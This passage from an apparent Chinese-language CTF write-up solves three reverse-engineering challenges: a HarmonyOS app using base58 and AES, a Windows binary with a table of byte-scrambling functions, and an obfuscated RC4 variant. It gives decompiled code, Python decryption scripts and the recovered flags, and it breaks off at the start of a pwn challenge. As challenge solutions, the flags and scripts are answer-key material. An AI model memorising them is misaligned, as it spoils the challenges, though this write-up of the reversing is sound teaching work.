255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
// .abcD 2025-11-20T03:32:54.121100256
// &entry/src/main/ets/pages/Index&
import nativeCrypto_ from '@normalized:Y&&&libentry.so&.mjs';
import util_ from '@ohos:util.mjs';
let r6;
var x_1_1, x_1_2, x_1_3;
x_1_2 = new.target;
x_1_3 = this;
if ('finalizeConstruction' in globalThis.ViewPU.prototype) {
  r6 = false;
} else {
  r6 = true;
}
if (r6) {
  globalThis.Reflect.set(globalThis.ViewPU.prototype, 'finalizeConstruction', function () {
    return undefined;
  });
}
const r22 = class CheckPassword extends globalThis.ViewPU {
  constructor(p1, p2, p3, p4, p5, p6) {
    let r6, r12;
    r6 = p4;
    if (p4 === undefined) {
      r6 = -1;
    }
    r12 = p5;
    if (p5 === undefined) {
      r12 = undefined;
    }
    super(p1, p3, r6, p6);
    if (typeof r12 === 'function') {
      this.paramsGenerator_ = r12;
    }
    this.__inputText = new globalThis.ObservedPropertySimplePU('', this, 'inputText');
    this.__isShowPopup = new globalThis.ObservedPropertySimplePU(false, this, 'isShowPopup');
    this.__popupMessage = new globalThis.ObservedPropertySimplePU('', this, 'popupMessage');
    this.targetCipher = 'yaApcJ5GoyGwhARDXZLQUdntqPpmVu2GuTChnsLoj5d8ABinwGSsgpGaiPWYbHTTbbzSXxLXwoLgjR1YgquyEnK';
    this.setInitiallyProvidedValue(p2);
    this.finalizeConstruction();
    return this;
  }
  setInitiallyProvidedValue(p1) {
    if (p1.inputText !== undefined) {
      this.inputText = p1.inputText;
    }
    if (p1.isShowPopup !== undefined) {
      this.isShowPopup = p1.isShowPopup;
    }
    if (p1.popupMessage !== undefined) {
      this.popupMessage = p1.popupMessage;
    }
    if (p1.targetCipher !== undefined) {
      this.targetCipher = p1.targetCipher;
    }
    return undefined;
  }
  updateStateVars(p1) {
    return undefined;
  }
  purgeVariableDependenciesOnElmtId(p1) {
    this.__inputText.purgeDependencyOnElmtId(p1);
    this.__isShowPopup.purgeDependencyOnElmtId(p1);
    this.__popupMessage.purgeDependencyOnElmtId(p1);
    return undefined;
  }
  aboutToBeDeleted() {
    this.__inputText.aboutToBeDeleted();
    this.__isShowPopup.aboutToBeDeleted();
    this.__popupMessage.aboutToBeDeleted();
    globalThis.SubscriberManager.Get().delete(this.id__());
    this.aboutToBeDeletedInternal();
    return undefined;
  }
};
const r23 = r22.prototype;
Object.defineProperty(r23, 'inputText', {
  get: function inputText() {
    return this.__inputText.get();
  },
  set: undefined
});
Object.defineProperty(r23, 'inputText', {
  get: undefined,
  set: function inputText(p1) {
    this.__inputText.set(p1);
    return undefined;
  }
});
Object.defineProperty(r23, 'isShowPopup', {
  get: function isShowPopup() {
    return this.__isShowPopup.get();
  },
  set: undefined
});
Object.defineProperty(r23, 'isShowPopup', {
  get: undefined,
  set: function isShowPopup(p1) {
    this.__isShowPopup.set(p1);
    return undefined;
  }
});
Object.defineProperty(r23, 'popupMessage', {
  get: function popupMessage() {
    return this.__popupMessage.get();
  },
  set: undefined
});
Object.defineProperty(r23, 'popupMessage', {
  get: undefined,
  set: function popupMessage(p1) {
    this.__popupMessage.set(p1);
    return undefined;
  }
});
r23.initialRender = function initialRender() {
  var x_2_2 = this;
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.Stack.create();
    globalThis.Stack.width('100%');
    globalThis.Stack.height('100%');
    return undefined;
  }, globalThis.Stack);
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.Image.create({
      id: 16777217,
      type: 20000,
      params: [],
      bundleName: 'rev.astpr.aneasysystem',
      moduleName: 'entry'
    });
    globalThis.Image.width('100%');
    globalThis.Image.height('100%');
    globalThis.Image.objectFit(globalThis.ImageFit.Cover);
    return undefined;
  }, globalThis.Image);
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.Column.create({
      space: 16
    });
    globalThis.Column.width('100%');
    globalThis.Column.height('100%');
    globalThis.Column.justifyContent(globalThis.FlexAlign.Center);
    globalThis.Column.alignItems(globalThis.HorizontalAlign.Center);
    globalThis.Column.padding(20);
    return undefined;
  }, globalThis.Column);
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.Text.create('Geek2025');
    globalThis.Text.fontSize(24);
    globalThis.Text.fontWeight(globalThis.FontWeight.Bold);
    globalThis.Text.fontColor(globalThis.Color.White);
    return undefined;
  }, globalThis.Text);
  globalThis.Text.pop();
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.TextInput.create({
      placeholder: 'Please input your flag',
      text: x_2_2.inputText
    });
    globalThis.TextInput.width('88%');
    globalThis.TextInput.height(44);
    globalThis.TextInput.backgroundColor('#FFFFFFCC');
    globalThis.TextInput.borderRadius(12);
    globalThis.TextInput.padding(12);
    globalThis.TextInput.onChange(function (p1) {
      x_2_2.inputText = p1;
      return undefined;
    });
    return undefined;
  }, globalThis.TextInput);
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.Button.createWithLabel('Check', {
      type: globalThis.ButtonType.Capsule
    });
    globalThis.Button.width(160);
    globalThis.Button.height(44);
    globalThis.Button.fontColor('#FFFFFF');
    globalThis.Button.backgroundColor('#1A73E8');
    globalThis.Button.onClick(function () {
      x_2_2.checkAndShowResult();
      return undefined;
    });
    return undefined;
  }, globalThis.Button);
  globalThis.Button.pop();
  x_2_2.observeComponentCreation2(function (p1, p2) {
    globalThis.Text.create('');
    globalThis.Text.bindPopup(x_2_2.isShowPopup, {
      message: x_2_2.popupMessage,
      onWillDismiss: function onWillDismiss() {
        x_2_2.isShowPopup = false;
        return undefined;
      }
    });
    return undefined;
  }, globalThis.Text);
  globalThis.Text.pop();
  globalThis.Column.pop();
  globalThis.Stack.pop();
  return undefined;
};
r23.checkAndShowResult = function checkAndShowResult() {
  const r0 = $enterAsync();
  try {
    if (this.inputText !== '') {
      label_0: {
        try {
          const r34 = new util_.TextEncoder();
          const r41 = r34.encodeInto('welcometosyc2025').slice(0, 16);
          const r48 = r34.encodeInto('helloimsamsaramiao').slice(0, 16);
          const r50 = this.inputText;
          r0.$await(this.callNativeEncrypt(r50, r41, r48));
          r0.$suspend();
          const r54 = r0.$resumeValue();
          if (r0.$resumeMode() != 1) {
            if (r54 !== this.targetCipher) {
              this.popupMessage = 'Wrong flag!';
            } else {
              this.popupMessage = 'Right flag!';
            }
            this.isShowPopup = true;
          } else {
            throw r54;
          }
        } catch ($err) {
          console.error('Encryption error:' + $err);
          this.popupMessage = 'Encryption failed!';
          this.isShowPopup = true;
          break label_0;
        }
      }
      return r0.$resolve(undefined);
    } else {
      this.popupMessage = 'Flag cannot be null!';
      this.isShowPopup = true;
      return r0.$resolve(undefined);
    }
  } catch ($err) {
    return r0.$reject($err);
  }
};
r23.callNativeEncrypt = function callNativeEncrypt(p1, p2, p3) {
  const r0 = $enterAsync();
  try {
    return r0.$resolve(nativeCrypto_.modifiedAESEncrypt(p1, p2, p3));
  } catch ($err) {
    try {
      const r5 = $err;
      console.error('Native encryption error:' + r5);
      throw new Error('Native encryption call failed: ' + r5 + '');
    } catch ($err) {
      return r0.$reject($err);
    }
  }
};
r23.rerender = function rerender() {
  this.updateDirtyElements();
  return undefined;
};
r22.getEntryName = function getEntryName() {
  return 'CheckPassword';
};
x_1_1 = r22;
const r57 = globalThis.registerNamedRoute(function () {
  return new x_1_1(undefined, {});
}, '', {
  bundleName: 'rev.astpr.aneasysystem',
  moduleName: 'entry',
  pagePath: 'pages\/Index',
  pageFullPath: 'entry\/src\/main\/ets\/pages\/Index',
  integratedHsp: 'false',
  moduleType: 'followWithHap'
});

加密过程清晰写出解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
# decrypt_flag.py
# Usage: python decrypt_flag.py
# Requires: pip install pycryptodome

import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 你提供的 Base58 字母表(off_1C960)
B58_ALPHABET = "rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz"

# 默认 targetCipher(如果你要解别的字符串可以修改这里或通过命令行传入)
TARGET = "yaApcJ5GoyGwhARDXZLQUdntqPpmVu2GuTChnsLoj5d8ABinwGSsgpGaiPWYbHTTbbzSXxLXwoLgjR1YgquyEnK"

KEY = b"welcometosyc2025"      # 16 bytes
IV  = b"helloimsamsarami"      # first 16 bytes of "helloimsamsaramiao"

def b58decode_custom(s: str, alphabet: str) -> bytes:
    """Decode a base58 string using a custom alphabet into raw bytes."""
    base = len(alphabet)
    index = {ch: i for i, ch in enumerate(alphabet)}
    num = 0
    for ch in s:
        if ch not in index:
            raise ValueError(f"Invalid character {ch!r} for provided alphabet")
        num = num * base + index[ch]
    # convert integer to bytes
    if num == 0:
        b = b""
    else:
        blen = (num.bit_length() + 7) // 8
        b = num.to_bytes(blen, 'big')
    # leading 'zero' chars in base58 correspond to leading zero bytes
    pad = 0
    for ch in s:
        if ch == alphabet[0]:
            pad += 1
        else:
            break
    return b"\x00" * pad + b

def decrypt_target(target: str):
    # 1) base58 decode with custom alphabet
    raw = b58decode_custom(target, B58_ALPHABET)
    print(f"[+] base58 decoded length = {len(raw)} bytes")

    # 2) interpret as ASCII hex string and hex-decode
    try:
        hex_str = raw.decode('ascii').strip()
    except Exception as e:
        raise RuntimeError("Decoded base58 bytes are not valid ASCII: " + str(e))

    # debug
    # print("hex_str sample:", hex_str[:64])

    if any(c not in "0123456789abcdefABCDEF" for c in hex_str) or (len(hex_str) % 2 != 0):
        raise RuntimeError("Decoded base58 contents do not look like an even-length hex string")

    cipher_bytes = binascii.unhexlify(hex_str)
    print(f"[+] hex -> ciphertext length = {len(cipher_bytes)} bytes")

    # 3) AES-128-CBC decrypt
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    decrypted = cipher.decrypt(cipher_bytes)

    # 4) try PKCS#7 unpad (most likely)
    try:
        pt = unpad(decrypted, AES.block_size)
    except ValueError:
        # 如果 PKCS7 去不掉,可以尝试去 0 填充作为备用(这里我们先报错以提示)
        raise RuntimeError("PKCS#7 unpad failed. Decrypted raw bytes (hex):\n" +
                           binascii.hexlify(decrypted).decode())

    # 输出结果
    try:
        printable = pt.decode('utf-8')
    except Exception:
        printable = repr(pt)
    return printable

if __name__ == "__main__":
    try:
        flag = decrypt_target(TARGET)
        print("\n[+] Decrypted plaintext:")
        print(flag)
    except Exception as e:
        print("[!] Error:", e)
        print("If you want, you can change TARGET to another cipher or pass it in.")

运行结果SYC{HarmonyOS_1s_right?right!}

14.Lastone

先通过string表找到主体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
__int64 sub_403A80()
{
  void *v0; // eax
  __int64 v1; // rax
  FILE *v2; // eax
  __int64 v4; // [esp-8h] [ebp-150h]
  char v5; // [esp+0h] [ebp-148h]
  char v6; // [esp+0h] [ebp-148h]
  char v7; // [esp+0h] [ebp-148h]
  unsigned int v8; // [esp+10h] [ebp-138h]
  int i; // [esp+DCh] [ebp-6Ch]
  _BYTE v10[3]; // [esp+E8h] [ebp-60h] BYREF
  _BYTE v11[11]; // [esp+EBh] [ebp-5Dh] BYREF
  _BYTE v12[16]; // [esp+F6h] [ebp-52h] BYREF
  char v13[2]; // [esp+106h] [ebp-42h] BYREF
  char Buffer[44]; // [esp+110h] [ebp-38h] BYREF
  BOOL Wow64Process; // [esp+13Ch] [ebp-Ch] BYREF
  int savedregs; // [esp+148h] [ebp+0h] BYREF

  sub_40125D(&unk_40E0A3);
  Wow64Process = 0;
  GetCurrentProcess();
  v0 = (void *)sub_401186();
  IsWow64Process(v0, &Wow64Process);
  if ( sub_401186() && Wow64Process )
  {
    sub_401091("[+] Input your flag: ", v5);
    __acrt_iob_func(0);
    v2 = (FILE *)sub_401186();
    fgets(Buffer, 33, v2);
    if ( sub_401186() )
    {
      strcspn(Buffer, "\r\n");
      v8 = sub_401186();
      if ( v8 >= 0x21 )
        sub_401032();
      Buffer[v8] = 0;
      if ( strlen(Buffer) == 32 )
      {
        sub_4012D5(Buffer);
        qmemcpy(v10, "5g", 2);
        v10[2] = 5;
        qmemcpy(v11, "-t@S1AobEK", 10);
        v11[10] = 31;
        qmemcpy(v12, "W6_KsnOl_I]", 11);
        v12[11] = 127;
        v12[12] = 63;
        v12[13] = 121;
        v12[14] = 40;
        v12[15] = -46;
        qmemcpy(v13, "i~", sizeof(v13));
        for ( i = 0; i < 32; ++i )
        {
          if ( v10[i] != Buffer[i] )
          {
            sub_401091("Wrong\n", v6);
            LODWORD(v1) = 0;
            goto LABEL_16;
          }
        }
        sub_401091("Yes,Yes.\n", v6);
        sub_401091("This is my love.\nI LOVE YOU.\nThanks!\n", v7);
        LODWORD(v1) = 0;
      }
      else
      {
        sub_401091("[!] Wrong\n", v6);
        LODWORD(v1) = 1;
      }
    }
    else
    {
      sub_401091("[!] Wrong!\n", v6);
      LODWORD(v1) = 1;
    }
  }
  else
  {
    sub_401091("[!] Must run in 32-bit on 64-bit Windows\n", v5);
    LODWORD(v1) = 1;
  }
LABEL_16:
  v4 = v1;
  sub_40113B(&savedregs, &dword_403CCC);
  return v4;
}

这题目的密文好找,难在加密。加密函数是 sub_4012D5(Buffer);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __cdecl sub_402330(int a1)
{
  __int64 v1; // rax
  int v2; // edx
  __int64 v4; // [esp-8h] [ebp-CC0h]
  char v5; // [esp+0h] [ebp-CB8h]
  int v6; // [esp+3E8h] [ebp-8D0h]
  int v7; // [esp+3F4h] [ebp-8C4h]
  int v8; // [esp+400h] [ebp-8B8h]
  int v9; // [esp+40Ch] [ebp-8ACh]
  int j; // [esp+418h] [ebp-8A0h]
  int i; // [esp+424h] [ebp-894h]
  void *lpAddress; // [esp+458h] [ebp-860h]
  int v13; // [esp+464h] [ebp-854h] BYREF
  int v14; // [esp+468h] [ebp-850h]
  int v15; // [esp+46Ch] [ebp-84Ch]
  int v16; // [esp+470h] [ebp-848h]
  int savedregs; // [esp+CB8h] [ebp+0h] BYREF

  VirtualAlloc(0, 0x1000u, 0x3000u, 0x40u);
  lpAddress = (void *)sub_401186();
  if ( lpAddress )
  {
    memcpy(lpAddress, &unk_40C260, 0x38u);
    for ( i = 0; i < 8; ++i )
      *((_BYTE *)lpAddress + i + 2) = sub_40105A(8 * i, 0);
    byte_40C4E0 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD))lpAddress;
    *((_WORD *)&byte_40C4E0 + 2) = 51;
    for ( j = 0; j < 8; ++j )
    {
      sub_4010B4(&v13);
      if ( sub_4011DB(&v13, (char *)&unk_40C040 + 64 * j, dword_40C240[j]) )
      {
        sub_401091("[!] Wrong\n", v5);
        VirtualFree(lpAddress, 0, 0x8000u);
        LODWORD(v1) = sub_401186();
        goto LABEL_12;
      }
      v9 = v13;
      v8 = v14;
      v7 = v15;
      v6 = v16;
      memset(&dword_40C4E8, 0, 0x28u);
      dword_40C4E8 = v13;
      dword_40C4EC = 0;
      dword_40C4F0 = v14;
      dword_40C4F4 = 0;
      dword_40C4F8 = v15;
      dword_40C4FC = 0;
      dword_40C500 = v16;
      dword_40C504 = 0;
      dword_40C508 = -1;
      MK_FP(*((_WORD *)&byte_40C4E0 + 2), byte_40C4E0)(v16, v2, 0);
      off_40C000[dword_40C508 & 0xF](a1 + 4 * j, 4, (v8 + v6 * v7) ^ (40503 * v9));
      sub_401186();
    }
    VirtualFree(lpAddress, 0, 0x8000u);
    LODWORD(v1) = sub_401186();
  }
  else
  {
    LODWORD(v1) = sub_401091("[!] Wrong\n", v5);
  }
LABEL_12:
  v4 = v1;
  sub_40113B(&savedregs, &dword_402674);
  return v4;
}

可以看到最核心的地方就是通过off_40C000[dword_40C508 & 0xF](a1 + 4 * j, 4, (v8 + v6 * v7) ^ (40503 * v9));off_40C000这个函数表调用了函数。

比较笨的方法可以像我一样一个个看,然后记录干什么,在动态调试出每一轮的所传入的数据

0 sub_4015C0 逐字节 XOR 密钥(按i%4取密钥不同字节) 1 sub_401670 逐字节加密钥(按i%4取密钥不同字节) 2 sub_401720 循环左移n位(n=a3&7) 3 sub_4017F0 逐字节减密钥(按i%4取密钥不同字节) 4 sub_4018A0 交换首尾字节(长度≥2) 5 sub_F41940 4 字节块加(key-1640531527)^(16key+41793) 6 sub_F41A40 反转字节数组(按长度) 7 sub_F41B00 字节 = BYTE1(key) + (key^原字节),key 左移 1 位 8 sub_F41BC0 交换首尾字节 + 末尾字节按(HIBYTE(key)+(key^首字节))^首字节修改 9 sub_F41C90 S 盒替换(高低 4 位)+ XOR 密钥对应字节 10 sub_F41E20 逐字节乘 (key 1)(奇数) 11 sub_F41EC0 循环移位(偏移key%Size) 12 sub_F41FD0 逐字节 XOR 动态密钥(密钥 = 前一字节加密后的值) 13 sub_F42080 字节 = HIBYTE(key) ^ (8原字节) ^ (key*原字节) 14 sub_F42130 字节按位反转 + XOR 密钥对应字节 15 sub_F42250 逐字节 XOR 动态密钥(密钥 = 右移 1 位 + 进位位)

dword_F4C508 &0xF,0xd ,0x4, 0x0, 0xc ,0x4 ,0x6 ,0x3, 0x0

(v8 + v6*v7) ^ (40503 * v9)0x83a2d5,0x46bbac56,0xc5f1e, 0x1ee214 ,0x7431ed ,0x11ba8d6 ,0x20c619 ,0x3488718 密文0x35, 0x67, 0x05, 0x2D, 0x74, 0x40, 0x53, 0x31, 0x41, 0x6F, 0x62, 0x45, 0x4B, 0x1F, 0x57, 0x36, 0x5F, 0x4B, 0x73, 0x6E, 0x4F, 0x6C, 0x5F, 0x49, 0x5D, 0x7F, 0x3F, 0x79, 0x28, 0xD2, 0x69

然后就可以解密了

SYC{1@St_0nE_THanKs_I_lOvE_y0U!}

15.obfuscat3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int n_4; // [rsp+44h] [rbp-3FCh]
  __int64 v5; // [rsp+48h] [rbp-3F8h] BYREF
  unsigned __int8 s[1004]; // [rsp+50h] [rbp-3F0h] BYREF
  int v7; // [rsp+43Ch] [rbp-4h]

  v7 = 0;
  printf(
    "I heard someone say that my question is too easy and can be solved entirely by AI.let's see how your algorithm recog"
    "nition skills hold up.\n");
  printf("But don't worry, this is really just a simple obfuscation.\n");
  printf("I admit that confusing things is indeed fun.\n");
  memset(s, 0, 0x3E8uLL);
  v5 = 0x617261736D6153LL;
  printf("Input my flag: ");
  scanf("%s", s);
  n_4 = strlen((const char *)s);
  obf_encode(s, n_4, (unsigned __int8 *)&v5);
  if ( n_4 == 183 && !memcmp(s, (const void *)(unsigned int)&cipher, 0xB7uLL) )
    printf("Congratulations! \n");
  else
    printf("Try again?\n");
  return 0;
}

这题核心在加密用了混淆导致很难看懂

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 __fastcall obf_encode(unsigned __int8 *a1, unsigned int a2, char *a3)
{
  __int64 result; // rax
  unsigned int v4; // r9d
  unsigned int v5; // r10d
  unsigned int v6; // r8d
  unsigned int v7; // edx
  unsigned int v8; // r14d
  unsigned int v9; // edx
  unsigned int v10; // r9d
  unsigned int v11; // r11d
  unsigned int v12; // edx
  int v13; // r15d
  unsigned int v14; // r13d
  unsigned int v15; // r11d
  int v16; // ebx
  unsigned int v17; // edi
  int v18; // ecx
  unsigned int v19; // r14d
  unsigned int i; // [rsp+18h] [rbp-48h]
  unsigned __int8 v21; // [rsp+1Eh] [rbp-42h]
  unsigned __int8 v22; // [rsp+1Fh] [rbp-41h]

  v22 = 0;
  v21 = 0;
  init_encode(a3);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    v22 = (int)(2 * ~(~v22 | ~(v22 & 1 | ~v22 & 0xFFFFFFFE))
              + (~(~v22 | 1 | ~(((unsigned __int8)~((v22 & 0xF8 | ~v22 & 7) ^ 0xF8) ^ 1) & 1)) | (~(~v22 | 1) & 0x40D14331 | ~v22 & 0xBF2EBCCE) ^ (((unsigned __int8)~((v22 & 0xF8 | ~v22 & 7) ^ 0xF8) ^ 1) & 1 | ~(((unsigned __int8)~((v22 & 0xF8 | ~v22 & 7) ^ 0xF8) ^ 1) & 1) & 0xBF2EBCCE)))
        % 256;
    v4 = (v21 & 0xBB | ~v21 & 0x12F4FC44) ^ 0xED0B03BB;
    v5 = (mysterious_box[v22] & 0x19 | ~(unsigned __int8)mysterious_box[v22] & 0x11CE2FE6) ^ 0xEE31D019;
    v6 = ~(~(unsigned __int8)mysterious_box[v22] | 0xAB5D4C24);
    v7 = v6 ^ v5 & ((mysterious_box[v22] & 0x19 | ~(unsigned __int8)mysterious_box[v22] & 0x11CE2FE6) ^ 0xBA9363C2) | v6 & v5 & ((mysterious_box[v22] & 0x19 | ~(unsigned __int8)mysterious_box[v22] & 0x11CE2FE6) ^ 0xBA9363C2);
    v8 = ~v7 & (~(~v21 | 0xAB5D4C24) ^ v4 & ((v21 & 0xBB | ~v21 & 0x12F4FC44) ^ 0xB9A9B060) | ~(~v21 | 0xAB5D4C24) & v4 & ((v21 & 0xBB | ~v21 & 0x12F4FC44) ^ 0xB9A9B060)) | ~(~(~v21 | 0xAB5D4C24) ^ v4 & ((v21 & 0xBB | ~v21 & 0x12F4FC44) ^ 0xB9A9B060) | ~(~v21 | 0xAB5D4C24) & v4 & ((v21 & 0xBB | ~v21 & 0x12F4FC44) ^ 0xB9A9B060)) & v7;
    v9 = ~(~(~v5 | ~v4) | (v5 & 0x8174B0F | ~v5 & 0xF7E8B4F0) ^ (v4 & 0x8174B0F | ~v4 & 0xF7E8B4F0));
    v10 = ~(~v5 | ~v4) | (v5 & 0x8174B0F | ~v5 & 0xF7E8B4F0) ^ (v4 & 0x8174B0F | ~v4 & 0xF7E8B4F0);
    v11 = ~(v10 | ~v8) | (v9 & 0x29D2D441 | v10 & 0xD62D2BBE) ^ (v8 & 0x29D2D441 | ~v8 & 0xD62D2BBE);
    v12 = (mysterious_box[v22] & 0xE4 | ~(unsigned __int8)mysterious_box[v22] & 0x6559491B) ^ 0x9AA6B6E4;
    v21 = (int)(v11 - ((v12 ^ ~v21 | v12 & ~v21) + 1)) % 256;
    exchange_encode((unsigned __int8 *)&mysterious_box[v22], (unsigned __int8 *)&mysterious_box[v21]);
    v13 = ~(unsigned __int8)mysterious_box[v21];
    v14 = (unsigned __int8)mysterious_box[v22] & ((unsigned __int8)mysterious_box[v22] ^ 0xC38D792B);
    v15 = (unsigned __int8)mysterious_box[v21] & ((unsigned __int8)mysterious_box[v21] ^ 0xC38D792B);
    v16 = v15 ^ ~((unsigned __int8)mysterious_box[v21] | 0x3C7286D4) | v15 & ~((unsigned __int8)mysterious_box[v21] | 0x3C7286D4);
    v17 = (v16 & 0xA864AC02 | ~v16 & 0x579B53FD) ^ ((v14 ^ ~((unsigned __int8)mysterious_box[v22] | 0x3C7286D4) | v14 & ~((unsigned __int8)mysterious_box[v22] | 0x3C7286D4)) & 0xA864AC02 | ~(v14 ^ ~((unsigned __int8)mysterious_box[v22] | 0x3C7286D4) | v14 & ~((unsigned __int8)mysterious_box[v22] | 0x3C7286D4)) & 0x579B53FD);
    v18 = ~v17;
    v19 = ~(~(((v13 ^ ~(unsigned __int8)mysterious_box[v22] | v13 & ~(unsigned __int8)mysterious_box[v22]) & 0xADFAC042 | ~(v13 ^ ~(unsigned __int8)mysterious_box[v22] | v13 & ~(unsigned __int8)mysterious_box[v22]) & 0x52053FBD) ^ 0xADFAC042) | v18) | ((((v13 ^ ~(unsigned __int8)mysterious_box[v22] | v13 & ~(unsigned __int8)mysterious_box[v22]) & 0xADFAC042 | ~(v13 ^ ~(unsigned __int8)mysterious_box[v22] | v13 & ~(unsigned __int8)mysterious_box[v22]) & 0x52053FBD) ^ 0xADFAC042) & 0x354E9C1B | ~(((v13 ^ ~(unsigned __int8)mysterious_box[v22] | v13 & ~(unsigned __int8)mysterious_box[v22]) & 0xADFAC042 | ~(v13 ^ ~(unsigned __int8)mysterious_box[v22] | v13 & ~(unsigned __int8)mysterious_box[v22]) & 0x52053FBD) ^ 0xADFAC042) & 0xCAB163E4) ^ (v17 & 0x354E9C1B | v18 & 0xCAB163E4);
    a1[i] += mysterious_box[(unsigned __int8)((int)(v19
                                                  - ((~(unsigned __int8)mysterious_box[v22] | ~((v13 & 0x7911131C | mysterious_box[v21] & 0xE3) ^ (mysterious_box[v22] & 0x1C | ~(unsigned __int8)mysterious_box[v22] & 0x86EEECE3)))
                                                   + 1))
                                            % 256)];
  }
  return result;
}

多读读多看看可以知道加密基于 RC4 流加密算法的自定义变体

写出解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# ===== 解密脚本 =====

cipher_bytes = [
    0xB4, 0xCD, 0x69, 0x54, 0xBD, 0x67, 0x20, 0x9D, 0xF2, 0xC3, 0x24, 0x14, 0xC2, 0x1B, 0xE9, 0x6A,
    0x44, 0x14, 0x4E, 0x39, 0xC5, 0xC8, 0x5B, 0x11, 0x75, 0xAD, 0xDE, 0xBB, 0xFE, 0xE4, 0x6E, 0x65,
    0x06, 0x9A, 0x91, 0xFE, 0xA0, 0x68, 0xA4, 0x86, 0x17, 0x6C, 0x0A, 0xCF, 0x1E, 0x67, 0xE3, 0x0D,
    0x60, 0x47, 0x13, 0x6B, 0xD1, 0x36, 0xF2, 0x77, 0x58, 0x76, 0x1E, 0x98, 0xF5, 0x7F, 0x0A, 0x92,
    0xB7, 0x0A, 0xEA, 0xAE, 0x46, 0x7E, 0x6A, 0x18, 0x4A, 0x59, 0x4E, 0x71, 0xB2, 0xE1, 0x41, 0x7A,
    0x0B, 0x31, 0xBA, 0xC6, 0xAA, 0xCF, 0xCE, 0x09, 0xBF, 0x2E, 0xF8, 0x4D, 0x75, 0xEF, 0x14, 0xED,
    0x5F, 0x66, 0x44, 0x6F, 0xDE, 0xE2, 0x7C, 0x10, 0x8C, 0xB7, 0x4E, 0x6B, 0xB2, 0xD4, 0xF6, 0x91,
    0xD7, 0x84, 0x86, 0x1F, 0xF8, 0x65, 0x94, 0x0B, 0x14, 0x28, 0xFB, 0xDD, 0x47, 0xF4, 0xC1, 0x17,
    0x42, 0x3F, 0x1E, 0x38, 0x07, 0xBB, 0x37, 0x33, 0x12, 0x0C, 0x16, 0x68, 0xE0, 0x23, 0x12, 0x75,
    0x72, 0xD9, 0x71, 0x7A, 0x88, 0xD0, 0x46, 0x28, 0x88, 0xAD, 0x1E, 0x98, 0x8F, 0x92, 0x7E, 0x0E,
    0x69, 0x29, 0x37, 0xB1, 0xFF, 0xC5, 0xAF, 0x6F, 0x41, 0x37, 0x65, 0x0E, 0xD2, 0x62, 0x11, 0x8F,
    0xA6, 0x3E, 0x95, 0xF5, 0x80, 0x9A
]

key = b"Samsara"  # init_encode 中的 key

def init_encode(key):
    box = list(range(256))
    j = 0
    key_len = len(key)
    for i in range(256):
        j = (j + box[i] + key[i % key_len]) & 0xFF
        box[i], box[j] = box[j], box[i]
    return box

def rc4_stream(box, length):
    i = j = 0
    out = []
    for _ in range(length):
        i = (i + 1) & 0xFF
        j = (j + box[i]) & 0xFF
        box[i], box[j] = box[j], box[i]
        out.append(box[(box[i] + box[j]) & 0xFF])
    return out

def decrypt(cipher_bytes):
    n = len(cipher_bytes)
    box = init_encode(key)
    stream = rc4_stream(box, n)
    plain = [(cipher_bytes[i] - stream[i]) & 0xFF for i in range(n)]
    return bytes(plain)

if __name__ == "__main__":
    flag = decrypt(cipher_bytes)
    print("Flag =", flag)

由运行结果可知SYC{Alright_I_sti1l_h0pe_th3t_you_solved_the_chall3nge_by_deobfuscating_them_Geek_is_just_the_first_step_of_your_CTF_journey_Im_glad_I_could_be_part_of_your_growth_Good_luck_for_y0u!}

pwn

16.Mission Calculator

打开ida查看程序逻辑发现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 math()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  int i; // [rsp+4h] [rbp-1Ch]
  unsigned int seed; // [rsp+8h] [rbp-18h]
  int v4; // [rsp+Ch] [rbp-14h]
  int v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  for ( i = 0; i <= 49; ++i )
  {
    seed = time(0LL);
    srand(seed);
    v4 = rand() % 10000 + 1;
    v5 = rand() % 10000 + 1;
